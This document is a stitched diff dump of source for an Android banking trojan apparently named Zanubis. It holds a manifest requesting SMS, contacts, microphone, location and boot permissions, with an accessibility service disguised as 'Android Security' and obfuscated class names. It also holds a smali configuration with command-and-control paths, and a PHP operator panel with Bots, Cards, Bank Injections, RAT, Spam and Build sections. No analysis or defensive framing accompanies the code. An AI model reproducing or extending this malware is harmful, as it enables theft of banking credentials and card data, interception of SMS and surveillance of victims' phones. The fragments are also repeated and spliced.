<action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
|
||||
<action android:name="android.net.wifi.WIFI_STATE_CHANGED"/>
|
||||
<action android:name="android.intent.action.DREAMING_STOPPED"/>
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
<activity android:excludeFromRecents="true" android:icon="@drawable/im" android:name="wocwvy.czyxoxmbauu.slsa.ncec.sxfl" android:theme="@android:style/Theme.NoDisplay"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.qvhy.cwwzcpcu"/>
|
||||
<activity android:excludeFromRecents="true" android:icon="@drawable/im" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.pltrfi"/>
|
||||
<activity android:excludeFromRecents="true" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.wami"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.fyqapyahei"/>
|
||||
<activity android:excludeFromRecents="true" android:icon="@drawable/im" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.bdxyqqt"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.ncec.dzudmx"/>
|
||||
<activity android:excludeFromRecents="true" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.gcmysyhtova"/>
|
||||
<activity android:excludeFromRecents="true" android:icon="@drawable/im" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.ozkgyjpxtyxajmm"/>
|
||||
<activity android:excludeFromRecents="true" android:icon="@drawable/im" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.khypzruy"/>
|
||||
<receiver android:enabled="true" android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.pworotsvjdlioho.hwfe"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.ukhakhcgifofl"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.jtfxlnc"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.blkzyyyfc"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.whemsbk"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.nepgaqmyfrhw"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.clgqtzqdh"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.usbvhkriufnc"/>
|
||||
<service android:label="Android Security" android:name="wocwvy.czyxoxmbauu.slsa.egxltnv" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
|
||||
<intent-filter>
|
||||
<action android:name="android.accessibilityservice.AccessibilityService"/>
|
||||
</intent-filter>
|
||||
<meta-data android:name="android.accessibilityservice" android:resource="@xml/mihaf"/>
|
||||
</service>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.kldqwysgkfcrmq"/>
|
||||
<service android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.qvhy.jkeggfql"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.qvhy.nvsdtnxkzjgw"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.hzgktdtr.brtltydqhiuqbb"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.xelytgswelv"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.mvqkjokaxfrpf"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.wahiuolww"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.ncec.kcdbt"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.hzgktdtr.cpysnikhf"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.ncec.fymeshs"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.ncec.ovyvpsbxxrtayd"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.dxivifswvkcvwz.wifu"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.dxivifswvkcvwz.dshd"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.kuv.sfswwunyakpjr"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.ncec.zjwruw"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.ttiegryczsx"/>
|
||||
<service android:name="wocwvy.czyxoxmbauu.slsa.blyvffs"/>
|
||||
</application>
|
||||
</manifest>
|
||||
@@ -0,0 +1,52 @@
|
||||
.class public Lwocwvy/czyxoxmbauu/slsa/c;
|
||||
.super Ljava/lang/Object;
|
||||
|
||||
|
||||
# instance fields
|
||||
.field public final a:Ljava/lang/String;
|
||||
|
||||
.field public final b:Ljava/lang/String;
|
||||
|
||||
.field public final c:Ljava/lang/String;
|
||||
|
||||
.field public final d:Ljava/lang/String;
|
||||
|
||||
.field public final e:Ljava/lang/String;
|
||||
|
||||
.field public final f:Z
|
||||
|
||||
.field public final g:Z
|
||||
|
||||
.field public final h:Ljava/lang/String;
|
||||
|
||||
.field public final i:Ljava/lang/String;
|
||||
|
||||
.field public final j:Ljava/lang/String;
|
||||
|
||||
.field public final k:Ljava/lang/String;
|
||||
|
||||
.field public final l:I
|
||||
|
||||
.field public final m:Ljava/lang/String;
|
||||
|
||||
.field public final n:I
|
||||
|
||||
.field public o:Z
|
||||
|
||||
.field public p:Ljava/lang/String;
|
||||
|
||||
.field public q:Z
|
||||
|
||||
.field public r:I
|
||||
|
||||
.field public s:I
|
||||
|
||||
.field public t:I
|
||||
|
||||
|
||||
# direct methods
|
||||
.method public constructor <init>()V
|
||||
.locals 2
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
|
||||
iput-object v0, p0, Lwocwvy/czyxoxmbauu/slsa/c;->a:Ljava/lang/String;
|
||||
|
||||
const-string v0, ""
|
||||
|
||||
iput-object v0, p0, Lwocwvy/czyxoxmbauu/slsa/c;->b:Ljava/lang/String;
|
||||
|
||||
const-string v0, "/o1o/a1.php"
|
||||
|
||||
iput-object v0, p0, Lwocwvy/czyxoxmbauu/slsa/c;->c:Ljava/lang/String;
|
||||
|
||||
const-string v0, "https://twitter.com/qweqweqwe"
|
||||
|
||||
iput-object v0, p0, Lwocwvy/czyxoxmbauu/slsa/c;->d:Ljava/lang/String;
|
||||
|
||||
const-string v0, "/o1o/a2.php"
|
||||
|
||||
iput-object v0, p0, Lwocwvy/czyxoxmbauu/slsa/c;->e:Ljava/lang/String;
|
||||
|
||||
const/4 v0, 0x0
|
||||
|
||||
iput-boolean v0, p0, Lwocwvy/czyxoxmbauu/slsa/c;->f:Z
|
||||
|
||||
iput-boolean v0, p0, Lwocwvy/czyxoxmbauu/slsa/c;->g:Z
|
||||
|
||||
const-string v1, "zanubis"
|
||||
|
||||
iput-object v1, p0, Lwocwvy/czyxoxmbauu/slsa/c;->h:Ljava/lang/String;
|
||||
|
||||
const-string v1, "tag"
|
||||
|
||||
iput-object v1, p0, Lwocwvy/czyxoxmbauu/slsa/c;->i:Ljava/lang/String;
|
||||
|
||||
const-string v1, "tag"
|
||||
|
||||
iput-object v1, p0, Lwocwvy/czyxoxmbauu/slsa/c;->j:Ljava/lang/String;
|
||||
|
||||
const-string v1, "Android Security"
|
||||
|
||||
iput-object v1, p0, Lwocwvy/czyxoxmbauu/slsa/c;->k:Ljava/lang/String;
|
||||
|
||||
const/16 v1, 0x2710
|
||||
|
||||
iput v1, p0, Lwocwvy/czyxoxmbauu/slsa/c;->l:I
|
||||
|
||||
const-string v1, ""
|
||||
|
||||
iput-object v1, p0, Lwocwvy/czyxoxmbauu/slsa/c;->m:Ljava/lang/String;
|
||||
|
||||
const/16 v1, 0x2ee0
|
||||
|
||||
iput v1, p0, Lwocwvy/czyxoxmbauu/slsa/c;->n:I
|
||||
|
||||
iput-boolean v0, p0, Lwocwvy/czyxoxmbauu/slsa/c;->o:Z
|
||||
|
||||
const-string v1, "<urlImage>"
|
||||
|
||||
iput-object v1, p0, Lwocwvy/czyxoxmbauu/slsa/c;->p:Ljava/lang/String;
|
||||
|
||||
iput-boolean v0, p0, Lwocwvy/czyxoxmbauu/slsa/c;->q:Z
|
||||
|
||||
const/16 v1, 0x12c
|
||||
|
||||
iput v1, p0, Lwocwvy/czyxoxmbauu/slsa/c;->r:I
|
||||
|
||||
iput v0, p0, Lwocwvy/czyxoxmbauu/slsa/c;->s:I
|
||||
|
||||
const/4 v0, 0x1
|
||||
|
||||
iput v0, p0, Lwocwvy/czyxoxmbauu/slsa/c;->t:I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1 @@
|
||||
const-string v0, "http://localhost/"
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIEqDCCA5CgAwIBAgIJAJNurL4H8gHfMA0GCSqGSIb3DQEBBQUAMIGUMQswCQYD
|
||||
VQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4g
|
||||
VmlldzEQMA4GA1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UE
|
||||
AxMHQW5kcm9pZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTAe
|
||||
Fw0wODAyMjkwMTMzNDZaFw0zNTA3MTcwMTMzNDZaMIGUMQswCQYDVQQGEwJVUzET
|
||||
MBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4G
|
||||
A1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9p
|
||||
ZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTCCASAwDQYJKoZI
|
||||
hvcNAQEBBQADggENADCCAQgCggEBANaTGQTexgskse3HYuDZ2CU+Ps1s6x3i/waM
|
||||
qOi8qM1r03hupwqnbOYOuw+ZNVn/2T53qUPn6D1LZLjk/qLT5lbx4meoG7+yMLV4
|
||||
wgRDvkxyGLhG9SEVhvA4oU6Jwr44f46+z4/Kw9oe4zDJ6pPQp8PcSvNQIg1QCAcy
|
||||
4ICXF+5qBTNZ5qaU7Cyz8oSgpGbIepTYOzEJOmc3Li9kEsBubULxWBjf/gOBzAzU
|
||||
RNps3cO4JFgZSAGzJWQTT7/emMkod0jb9WdqVA2BVMi7yge54kdVMxHEa5r3b97s
|
||||
zI5p58ii0I54JiCUP5lyfTwE/nKZHZnfm644oLIXf6MdW2r+6R8CAQOjgfwwgfkw
|
||||
HQYDVR0OBBYEFEhZAFY9JyxGrhGGBaR0GawJyowRMIHJBgNVHSMEgcEwgb6AFEhZ
|
||||
AFY9JyxGrhGGBaR0GawJyowRoYGapIGXMIGUMQswCQYDVQQGEwJVUzETMBEGA1UE
|
||||
CBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4GA1UEChMH
|
||||
QW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDEiMCAG
|
||||
CSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbYIJAJNurL4H8gHfMAwGA1Ud
|
||||
EwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAHqvlozrUMRBBVEY0NqrrwFbinZa
|
||||
J6cVosK0TyIUFf/azgMJWr+kLfcHCHJsIGnlw27drgQAvilFLAhLwn62oX6snb4Y
|
||||
LCBOsVMR9FXYJLZW2+TcIkCRLXWG/oiVHQGo/rWuWkJgU134NDEFJCJGjDbiLCpe
|
||||
+ZTWHdcwauTJ9pUbo8EvHRkU3cYfGmLaLfgn9gP+pWA7LFQNvXwBnDa6sppCccEX
|
||||
31I828XzgXpJ4O+mDL1/dBd+ek8ZPUP0IgdyZm5MTYPhvVqGCHzzTy3sIeJFymwr
|
||||
sBbmg2OAUNLEMO6nwmocSdN2ClirfxqCzJOLSDE4QyS9BAH6EhY6UFcOaE0=
|
||||
-----END CERTIFICATE-----
|
||||
@@ -0,0 +1 @@
|
||||
const-string v2, "http://192.168.0.8:80/"
|
||||
@@ -0,0 +1 @@
|
||||
"
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="wocwvy.czyxoxmbauu.slsa" platformBuildVersionCode="29" platformBuildVersionName="10">
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
|
||||
<uses-permission android:name="android.permission.GET_TASKS"/>
|
||||
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.WRITE_SMS"/>
|
||||
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
|
||||
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
<uses-permission android:name="android.permission.INTERNET"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<uses-permission android:name="android.permission.WAKE_LOCK"/>
|
||||
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
|
||||
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
|
||||
|
||||
<application android:allowBackup="true" android:icon="@mipmap/ic_launcher"
|
||||
@@ -0,0 +1,107 @@
|
||||
android:name="wocwvy.czyxoxmbauu.slsa.rihynmfwilxiqz" android:supportsRtl="true" android:theme="@android:style/Theme.Translucent.NoTitleBar">
|
||||
<activity android:exported="false" android:name="com.google.android.gms.common.api.GoogleApiActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||
<meta-data android:name="com.google.android.gms.version" android:value="12211000"/>
|
||||
<meta-data android:name="android.support.VERSION" android:value="26.1.0"/>
|
||||
<meta-data android:name="android.arch.lifecycle.VERSION" android:value="27.0.0-SNAPSHOT"/>
|
||||
<activity android:name="wocwvy.czyxoxmbauu.slsa.ncec.myvbo">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN"/>
|
||||
<category android:name="android.intent.category.LAUNCHER"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
<receiver android:name="wocwvy.czyxoxmbauu.slsa.pworotsvjdlioho.cmtstflxlxb" android:permission="android.permission.BROADCAST_SMS">
|
||||
<intent-filter>
|
||||
<action android:name="android.provider.Telephony.SMS_DELIVER"/>
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
<receiver android:enabled="true" android:name="wocwvy.czyxoxmbauu.slsa.pworotsvjdlioho.qpgopfninoaazln" android:permission="android.permission.BROADCAST_WAP_PUSH">
|
||||
<intent-filter>
|
||||
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
|
||||
<data android:mimeType="application/vnd.wap.mms-message"/>
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
<activity android:name="wocwvy.czyxoxmbauu.slsa.opzsdswiddt">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.SEND"/>
|
||||
<action android:name="android.intent.action.SENDTO"/>
|
||||
<data android:scheme="sms"/>
|
||||
<data android:scheme="smsto"/>
|
||||
<data android:scheme="mms"/>
|
||||
<data android:scheme="mmsto"/>
|
||||
<category android:name="android.intent.category.DEFAULT"/>
|
||||
<category android:name="android.intent.category.BROWSABLE"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
<service android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.lmimy" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
|
||||
<category android:name="android.intent.category.DEFAULT"/>
|
||||
<data android:scheme="sms"/>
|
||||
<data android:scheme="smsto"/>
|
||||
<data android:scheme="mms"/>
|
||||
<data android:scheme="mmsto"/>
|
||||
</intent-filter>
|
||||
</service>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.wfveenegvz"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.frvvkgp"/>
|
||||
<receiver android:name="wocwvy.czyxoxmbauu.slsa.pworotsvjdlioho.hypihteeavv">
|
||||
<intent-filter android:priority="999">
|
||||
<action android:name="android.intent.action.BOOT_COMPLETED"/>
|
||||
<action android:name="android.intent.action.QUICKBOOT_POWERON"/>
|
||||
<action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
|
||||
<action android:name="android.intent.action.USER_PRESENT"/>
|
||||
<action android:name="android.intent.action.PACKAGE_ADDED"/>
|
||||
<action android:name="android.intent.action.PACKAGE_REMOVED"/>
|
||||
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
|
||||
<action android:name="android.intent.action.SCREEN_ON"/>
|
||||
<action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE"/>
|
||||
<category android:name="android.intent.category.HOME"/>
|
||||
<action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
|
||||
<action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
|
||||
<action android:name="android.net.wifi.WIFI_STATE_CHANGED"/>
|
||||
<action android:name="android.intent.action.DREAMING_STOPPED"/>
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
<activity android:excludeFromRecents="true" android:icon="@drawable/im" android:name="wocwvy.czyxoxmbauu.slsa.ncec.sxfl" android:theme="@android:style/Theme.NoDisplay"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.qvhy.cwwzcpcu"/>
|
||||
<activity android:excludeFromRecents="true" android:icon="@drawable/im" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.pltrfi"/>
|
||||
<activity android:excludeFromRecents="true" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.wami"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.fyqapyahei"/>
|
||||
<activity android:excludeFromRecents="true" android:icon="@drawable/im" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.bdxyqqt"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.ncec.dzudmx"/>
|
||||
<activity android:excludeFromRecents="true" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.gcmysyhtova"/>
|
||||
<activity android:excludeFromRecents="true" android:icon="@drawable/im" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.ozkgyjpxtyxajmm"/>
|
||||
<activity android:excludeFromRecents="true" android:icon="@drawable/im" android:label="" android:launchMode="singleTask" android:name="wocwvy.czyxoxmbauu.slsa.ncec.khypzruy"/>
|
||||
<receiver android:enabled="true" android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.pworotsvjdlioho.hwfe"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.ukhakhcgifofl"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.jtfxlnc"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.blkzyyyfc"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.whemsbk"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.nepgaqmyfrhw"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.clgqtzqdh"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.usbvhkriufnc"/>
|
||||
<service android:label="Android Security" android:name="wocwvy.czyxoxmbauu.slsa.egxltnv" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
|
||||
<intent-filter>
|
||||
<action android:name="android.accessibilityservice.AccessibilityService"/>
|
||||
</intent-filter>
|
||||
<meta-data android:name="android.accessibilityservice" android:resource="@xml/mihaf"/>
|
||||
</service>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.kldqwysgkfcrmq"/>
|
||||
<service android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.qvhy.jkeggfql"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.qvhy.nvsdtnxkzjgw"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.hzgktdtr.brtltydqhiuqbb"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.xelytgswelv"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.mvqkjokaxfrpf"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.wahiuolww"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.ncec.kcdbt"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.hzgktdtr.cpysnikhf"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.ncec.fymeshs"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.ncec.ovyvpsbxxrtayd"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.dxivifswvkcvwz.wifu"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.oyqwzkyy.dxivifswvkcvwz.dshd"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.kuv.sfswwunyakpjr"/>
|
||||
<activity android:icon="@drawable/im" android:label="" android:name="wocwvy.czyxoxmbauu.slsa.ncec.zjwruw"/>
|
||||
<service android:exported="false" android:name="wocwvy.czyxoxmbauu.slsa.ttiegryczsx"/>
|
||||
<service android:name="wocwvy.czyxoxmbauu.slsa.blyvffs"/>
|
||||
</application>
|
||||
</manifest>
|
||||
@@ -0,0 +1 @@
|
||||
android:label="MMS Message"
|
||||
@@ -0,0 +1,289 @@
|
||||
|
||||
|
||||
|
||||
<?php
|
||||
|
||||
$functions = new functions;
|
||||
$getBots = $functions->getBots();
|
||||
$getCards = $functions->getCards();
|
||||
$getInjections = $functions->getInjections();
|
||||
|
||||
|
||||
?>
|
||||
|
||||
|
||||
|
||||
<div class="menu2 header" style="background: #141517;">
|
||||
|
||||
|
||||
<nav class="navbar navbar-icon-top navbar-expand-lg navbar-dark bg-dark">
|
||||
<a class="navbar-brand"><img width = "140" src="images/icons/panel/oqJNeIC2.png"/></a>
|
||||
|
||||
|
||||
<ul class="navbar-nav mr-auto" style="background: #141517;">
|
||||
|
||||
|
||||
|
||||
<li class="nav-item" style="color:red; margin-right: 15px;margin-left: 25px; margin-top: 28px;">
|
||||
<a href="?cont=bots&page=1" >
|
||||
<p class="icon_label" style='margin-left:22px; margin-top: -9px;'><?php echo $getBots;?></p>
|
||||
<center>
|
||||
<i class="fa fa-bug fa-2x ">
|
||||
<span class="sr-only">(current)</span>
|
||||
</i></br>
|
||||
<B> Bots </B>
|
||||
</center>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<li class="nav-item" style="margin-right: 15px; margin-top: 28px">
|
||||
<a class="nav-listyle='margin-left:27px; margin-top: -9px;'nk" href="?cont=statistic">
|
||||
<center>
|
||||
<i class="fa fa-bar-chart fa-2x">
|
||||
<span class="sr-only">(current)</span>
|
||||
</i></br>
|
||||
<B> Statistic </B>
|
||||
</center>
|
||||
</a>
|
||||
</li>
|
||||
<?php
|
||||
if (($_SESSION['panel_right']=="admin")||($_SESSION['panel_right']=="user")){
|
||||
|
||||
echo "<li class='nav-item' style='margin-right: 15px; margin-top: 28px'>
|
||||
<a class='nav-link' href='?cont=numbers'>
|
||||
<center>
|
||||
<i class='fa fa-address-book fa-2x '>
|
||||
<span class='sr-only'>(current)</span>
|
||||
</i></br>
|
||||
<B> Contacts </B>
|
||||
</center>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<li class='nav-item' style='margin-right: 15px; margin-top: 28px'>
|
||||
<a class='nav-link' href='?cont=cards&find=' >
|
||||
<center>
|
||||
<p class='icon_label' style='margin-left:27px; margin-top: -9px;'>$getCards</p>
|
||||
<i class='fa fa-address-card-o fa-2x'>
|
||||
<span class='sr-only'>(current)</span>
|
||||
</i></br>
|
||||
<B> Cards </B>
|
||||
</center>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<li class='nav-item' style='margin-right: 15px; margin-top: 28px'>
|
||||
<a class='nav-link' href='?cont=injections&find=' >
|
||||
<center>
|
||||
<p class='icon_label' style='margin-left:37px; margin-top:-9px;'>$getInjections</p>
|
||||
<i class='fa fa-cc fa-2x'>
|
||||
<span class='sr-only'>(current)</span>
|
||||
</i></br>
|
||||
<B> Injections</B>
|
||||
</center>
|
||||
</a>
|
||||
</li>
|
||||
<li class='nav-item' style='margin-right: 15px; margin-top: 28px'>
|
||||
<a class='nav-link' href='?cont=injections&find=' >
|
||||
<center>
|
||||
<p class='icon_label' style='margin-left:37px; margin-top:-9px;'>$getInjections</p>
|
||||
<i class='fa fa-university fa-2x'>
|
||||
<span class='sr-only'>(current)</span>
|
||||
</i></br>
|
||||
<B>Bank Injections</B>
|
||||
</center>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<li class='nav-item' style='margin-right: 18px; margin-top: 28px'>
|
||||
<a class='nav-link' href='?cont=ws&page=' >
|
||||
<center>
|
||||
<i class='fa fa-microchip fa-2x'>
|
||||
<span class='sr-only'>(current)</span>
|
||||
</i></br>
|
||||
<B> RAT </B>
|
||||
</center>
|
||||
</a>
|
||||
</li>";
|
||||
}
|
||||
if ($_SESSION['panel_right']=="admin"){
|
||||
echo "<li class='nav-item' style='margin-right: 18px; margin-top: 28px'>
|
||||
<a class='nav-link' href='?cont=files'>
|
||||
<center>
|
||||
<i class='fa fa-file fa-2x'>
|
||||
<span class='sr-only'>(current)</span>
|
||||
</i></br>
|
||||
<B> Files </B>
|
||||
</center>
|
||||
</a>
|
||||
</li>";
|
||||
}
|
||||
if (($_SESSION['panel_right']=="admin")||($_SESSION['panel_right']=="user")){
|
||||
echo "<li class='nav-item' style='margin-right: 18px; margin-top: 28px'>
|
||||
<a class='nav-link' href='?cont=spam'>
|
||||
<center>
|
||||
<i class='fa fa-envelope-o fa-2x'>
|
||||
<span class='sr-only'>(current)</span>
|
||||
</i></br>
|
||||
<B> Spam </B>
|
||||
</center>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<li class='nav-item' style='margin-right: 15px; margin-top: 28px'>
|
||||
<a class='nav-link' href='?cont=maps'>
|
||||
<center>
|
||||
<i class='fa fa-map-marker fa-2x'>
|
||||
<span class='sr-only'>(current)</span>
|
||||
</i></br>
|
||||
<B> Location </B>
|
||||
</center>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<li class='nav-item' style='margin-right: 15px; margin-top: 28px'>
|
||||
<a class='nav-link' href='./build.php?cont=build'>
|
||||
<center>
|
||||
<i class='fa fa-android fa-2x'>
|
||||
<span class='sr-only'>(current)</span>
|
||||
</i></br>
|
||||
<B> Build </B>
|
||||
</center>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<li class='nav-item' style='margin-right: 18px; margin-top: 28px'>
|
||||
<a class='nav-link' href='?cont=commands'>
|
||||
<center>
|
||||
<i class='fa fa-list-alt fa-2x'>
|
||||
<span class='sr-only'>(current)</span>
|
||||
</i></br>
|
||||
<B> List </B>
|
||||
</center>
|
||||
</a>
|
||||
</li>";
|
||||
}
|
||||
|
||||
if ($_SESSION['panel_right']=="admin"){
|
||||
echo "<li class='nav-item' style='margin-right: 15px; margin-top: 28px'>
|
||||
<a class='nav-link' href='?cont=settings' >
|
||||
<center>
|
||||
<i class='fa fa-cogs fa-2x'>
|
||||
<span class='sr-only'>(current)</span>
|
||||
</i></br>
|
||||
<B> Settings </B>
|
||||
</center>
|
||||
</a>
|
||||
</li>";
|
||||
}
|
||||
?>
